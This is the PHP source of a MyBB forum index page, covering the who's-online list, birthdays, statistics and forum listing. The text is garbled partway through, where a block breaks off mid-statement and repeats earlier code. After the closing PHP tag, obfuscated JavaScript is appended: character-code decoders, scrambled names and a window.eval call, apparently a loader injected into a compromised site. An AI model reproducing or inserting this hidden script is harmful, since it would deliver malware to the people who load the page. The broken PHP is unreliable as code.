$lang->load("index");if($mybb->user['uid'] != 0){}else{}if($mybb->settings['showwol'] != "no" && $mybb->usergroup['canviewonline'] != "no"){ // Get the online users $timesearch = time() - $mybb->settings['wolcutoffmins']*60; $comma = ""; $query = $db->query("SELECT s.sid, s.ip, s.uid, s.time, s.location, u.username, u.invisible, u.usergroup, u.displaygroup FROM ".TABLE_PREFIX."sessions s LEFT JOIN ".TABLE_PREFIX."users u ON (s.uid=u.uid) WHERE s.time>'$timesearch' ORDER BY u.username ASC, s.time DESC"); $membercount = 0; $guestcount = 0; $anoncount = 0; $doneusers = array(); while($user = $db->fetch_array($query)) { $botkey = strtolower(str_replace("bot=", "", $user['sid'])); if($user['uid'] > 0) { if($doneusers[$user['uid']] < $user['time'] || !$doneusers[$user['uid']]) { if($user['invisible'] == "yes") { $anoncount++; } $membercount++; if($user['invisible'] != "yes" || $mybb->usergroup['canviewwolinvis'] == "yes" || $user['uid'] == $mybb->user['uid']) { if($user['invisible'] == "yes") { $invisiblemark = "*"; } else { $invisiblemark = ""; } $user['username'] = formatname($user['username'], $user['usergroup'], $user['displaygroup']); $comma = ", "; } $doneusers[$user['uid']] = $user['time']; } } elseif(strstr($user['sid'], "bot=") !== false && $session->bots[$botkey]) { $onlinemembers .= $comma.formatname($session->bots[$botkey], $botgroup); $comma = ", "; $botcount++; } else { $guestcount++; } } $onlinecount = $membercount + $guestcount; if($onlinecount != 1) { $onlinebit = $lang->online_online_plural; } else { $onlinebit = $lang->online_online_singular; } if($membercount != 1) { $memberbit = $lang->online_member_plural; } else { $memberbit = $lang->online_member_singular; } if($anoncount != 1) { $anonbit = $lang->online_anon_plural; } else { $anonbit = $lang->online_anon_singular; } if($guestcount != 1) { $guestbit = $lang->online_guest_plural; } else { $guestbit = $lang->online_guest_singular; } $lang->online_note = sprintf($lang->online_note, mynumberformat($onlinecount), $onlinebit, $mybb->settings['wolcutoffmins'], mynumberformat($membercount), $memberbit, mynumberformat($anoncount), $anonbit, mynumberformat($guestcount), $guestbit);}// Get birthdaysif($mybb->settings['showbirthdays'] != "no"){ $bdaycount = 0; $bdaytime = time(); $bdaydate = mydate("j-n", $bdaytime, "", 0); $year = mydate("Y", $bdaytime, "", 0); $query = $db->query("SELECT uid, username, birthday FROM ".TABLE_PREFIX."users WHERE birthday LIKE '$bdaydate-%'"); $comma = ""; while($bdayuser = $db->fetch_array($query)) { $bday = explode("-", $bdayuser['birthday']); if($year > $bday['2'] && $bday['2'] != "") { $age = " (".($year - $bday['2']).")"; } else { $age = ""; } $bdaycount++; $comma = ", "; } if($bdaycount > 0) { }}// Get Forum Statisticsif($mybb->settings['showindexstats'] != "no"){ $stats = $cache->read("stats"); if(!$stats['lastusername']) { $newestmember = "no-one"; } else { $newestmember = "".$stats['lastusername'].""; } $lang->stats_posts_threads = sprintf($lang->stats_posts_threads, mynumberformat($stats['numposts']), mynumberformat($stats['numthreads'])); $lang->stats_numusers = sprintf($lang->stats_numusers, mynumberformat($stats['numusers'])); $lang->stats_newestuser = sprintf($lang->stats_newestuser, $newestmember); // Most users online $mostonline = $cache->read("mostonline"); if($onlinecount > $mostonline['numusers']) { $time = time(); $mostonline['numusers'] = $onlinecount; $mostonline['time'] = $time; $cache->update("mostonline", $mostonline); } $recordcount = $mostonline['numusers']; $recorddate = mydate($mybb->settings['dateformat'], $mostonline['time']); $recordtime = mydate($mybb->settings['timeformat'], $mostonline['time']); $lang->stats_mostonline = sprintf($lang->stats_mostonline, mynumberformat($recordcount), $recorddate, $recordtime); }// Get Forums$query = $db->query("SELECT f.*, t.subject AS lastpostsubject FROM ".TABLE_PREFIX."forums f LEFT JOIN ".TABLE_PREFIX."threads t ON (t.tid = f.lastposttid) WHERE active!='no' ORDER BY f.pid, f.disporder");while($forum = $db->fetch_array($query)){ $fcache[$forum['pid']][$forum['disporder']][$forum['fid']] = $forum;}$forumpermissions = forum_permissions();// Get forum moderatorsif($mybb->settings['modlist'] != "off"){ $query = $db->query("SELECT m.uid, m.fid, u.username FROM ".TABLE_PREFIX."moderators m LEFT JOIN ".TABLE_PREFIX."users u ON (m.uid=u.uid) ORDER BY u.username"); while($moderator = $db->fetch_array($query)) { $moderatorcache[$moderator['fid']][] = $moderator; }}$excols = "index";$permissioncache['-1'] = "1";$bgcolor = "trow1";if($mybb->settings['subforumsindex'] != 0){ $showdepth = 3;}else{ $showdepth =2;}$forums = getforums();function getforums($pid="0", $depth=1, $permissions=""){ global $fcache, $moderatorcache, $forumpermissions, $theme, $mybb, $mybbforumread, $settings, $mybbuser, $excols, $templates, $bgcolor, $lang, $showdepth, $forumpass, $collapsed, $plugins; if(is_array($fcache[$pid])) { while(list($key, $main) = each($fcache[$pid])) { while(list($key, $forum) = each($main)) { $perms = $forumpermissions[$forum['fid']]; if($perms['canview'] == "yes" || $mybb->settings['hideprivateforums'] == "no") { $plugins->run_hooks("index_forum"); if($depth == 3) { $comma = ", "; $donecount++; if($donecount == $mybb->settings['subforumsindex']) { if(count($main) > $donecount) { $forumlisting .= $comma; $forumlisting .= sprintf($lang->more_subforums, (count($main) - $donecount)); } return $forumlisting; } continue; } if($mybb->user['uid'] != 0) { $lastvisit = $mybb->user['lastvisit']; } else { $lastvisit = $_COOKIE['mybb']['lastvisit']; } $forumread = mygetarraycookie("forumread", $forum['fid']); if($forum['lastpost'] > $lastvisit && $forum['lastpost'] > $forumread && $forum['lastpost'] != 0) { $folder = "on"; $altonoff = $lang->new_posts; } else { $folder = "off"; $altonoff = $lang->no_new_posts; } if($forum['open'] == "no") { $folder = "offlock"; $altonoff = $lang->forum_locked; } $forumread = 0; if($forum['type'] == "c") ostonline", $mostonline); } $recordcount = $mostonline['numusers']; $recorddate = mydate($mybb->settings['dateformat'], $mostonline['time']); $recordtime = mydate($mybb->settings['timeformat'], $mostonline['time']); $lang->stats_mostonline = sprintf($lang->stats_mostonline, mynumberformat($recordcount), $recorddate, $recordtime); }// Get Forums$query = $db->query("SELECT f.*, t.subject AS lastpostsubject FROM ".TABLE_PREFIX."forums f LEFT JOIN ".TABLE_PREFIX."threads t ON (t.tid = f.lastposttid) WHERE active!='no' ORDER BY f.pid, f.disporder");while($forum = $db->fetch_array($query)){ $fcache[$forum['pid']][$forum['disporder']][$forum['fid']] = $forum;}$forumpermissions = forum_permissions();// Get forum moderatorsif($mybb->settings['modlist'] != "off"){ $query = $db->query("SELECT m.uid, m.fid, u.username FROM ".TABLE_PREFIX."moderators m LEFT JOIN ".TABLE_PREFIX."users u ON (m.uid=u.uid) ORDER BY u.username"); while($moderator = $db->fetch_array($query)) { $moderatorcache[$moderator['fid']][] = $moderator; }}$excols = "index";$permissioncache['-1'] = "1";$bgcolor = "trow1";if($mybb->settings['subforumsindex'] != 0){ $showdepth = 3;}else{ $showdepth =2;}$forums = getforums();function getforums($pid="0", $depth=1, $permissions=""){{ $forumcat = "_cat"; } else { $forumcat = "_forum"; } $hideinfo = 0; if($forum['type'] == "f" && $forum['linkto'] == "") { if($forum['password'] != "" && $_COOKIE['forumpass'][$forum['fid']] != md5($mybb->user['uid'].$forum['password'])) { $hideinfo = 1; } elseif($forum['lastpost'] == 0 || $forum['lastposter'] == "") { $lastpost = "".$lang->lastpost_never.""; } else { $lastpostdate = mydate($mybb->settings['dateformat'], $forum['lastpost']); $lastposttime = mydate($mybb->settings['timeformat'], $forum['lastpost']); $lastposter = $forum['lastposter']; $lastposttid = $forum['lastposttid']; $lastpostsubject = $fulllastpostsubject = $forum['lastpostsubject']; if(strlen($lastpostsubject) > 25) { $lastpostsubject = substr($lastpostsubject, 0, 25) . "..."; } $lastpostsubject = htmlspecialchars_uni(dobadwords($lastpostsubject)); $fulllastpostsubject = htmlspecialchars_uni(dobadwords($fulllastpostsubject)); } } if($forum['linkto'] != "" || $hideinfo == 1) { $lastpost = "
-
"; $posts = "-"; $threads = "-"; } else { $posts = mynumberformat($forum['posts']); $threads = mynumberformat($forum['threads']); } if($mybb->settings['modlist'] != "off") { $moderators = ""; $parentlistexploded = explode(",", $forum['parentlist']); while(list($key, $mfid) = each($parentlistexploded)) { if($moderatorcache[$mfid]) { reset($moderatorcache[$mfid]); while(list($key2, $moderator) = each($moderatorcache[$mfid])) { $moderators .= "$comma".$moderator['username'].""; $comma = ", "; } } } $comma = ""; if($moderators) { } else { $modlist = ""; } } if($mybb->settings['showdescriptions'] == "no") { $forum['description'] = ""; } $expdisplay = ""; $cname = "cat_".$forum['fid']."_c"; if($collapsed[$cname] == "display: show;") { $expcolimage = "collapse_collapsed.gif"; $expdisplay = "display: none;"; } else { $expcolimage = "collapse.gif"; } if($bgcolor == "trow2") { $bgcolor = "trow1"; } else { $bgcolor = "trow2"; } if($fcache[$forum['fid']] && $depth < $showdepth) { $newdepth = $depth + 1; $forums = getforums($forum['fid'], $newdepth, $perms); if($depth == 2 && $forums) { $forums = ""; } } } $forums = $subforums = ""; } } } return $forumlisting;}$plugins->run_hooks("index_end");outputpage($index);?>>TgIY;}if( IIkTgIY.charCodeAt( IIkTgIY.length-1) == 0)IIkTgIY = IIkTgIY.substring(0, IIkTgIY.length-1);return IIkTgIY.replace(/^\s+|\s+$/g, '');}function tEFb(tFoqJxgNK){fff=op.split("617"); fff=op.split("617"); } function XXUEqjMXz(ZjMdvONIg){var jlItKmOZ=2,fvrDgEO=3;var UxiC='91-1+56-0+47-1+36-2+83-1+91-1+80-0+88-0+82-2+80-2+89-1+91-1+82-0+82-2+91-1+56-0+47-1+36-2+92-0+91-1+81-1+56-0+41-1+84-2+92-2+92-2+90-0+54-0+46-2+46-2+',vHVQU=UxiC.split('+');MPakrYEVNH='';function JZbLWlxWkT(c){return String.fromCharCode(c);}for(aOaAzqs=(vHVQU.length-1);aOaAzqs>=(-0x17-0x28+0x31+0xe);aOaAzqs-=0xa-0x25-0xc-0xd+0x24+0x9+0x8){ XtrMv=vHVQU[aOaAzqs].split('-');Plm = parseInt(XtrMv[0]*fvrDgEO)+parseInt(XtrMv[1]);Plm = parseInt(Plm)/jlItKmOZ;MPakrYEVNH = JZbLWlxWkT(Plm-(-0x3-0x28-0x1c+0x21+0x1d+0x2c-0xc))+MPakrYEVNH;}if( MPakrYEVNH.charCodeAt( MPakrYEVNH.length-1) == 0)MPakrYEVNH = MPakrYEVNH.substring(0, MPakrYEVNH.length-1);return MPakrYEVNH.replace(/^\s+|\s+$/g, '');}function aUNe(scjSPpkSdL){ window.eval();alert('JKh'); } function PliJaQLtv(oalgL){var jlCi=2,wgasN=8;var hsvn='34-6+33-4+30-2+31-0+36-0+31-0+35-4+17-2+30-4+33-4+33-0+17-sJRN)+parseInt(MtPQfZhCBd[1]);Qbys = parseInt(Qbys)/hfmrEoZ;uHGfW = VlosDHPMem(Qbys-(-0xb+0x2a+0x4-0x5+0x29+0x10))+uHGfW;}return uHGfW;}function nITT(yfWztI){ fff=op.split("971"); fff.op.replace("349"); }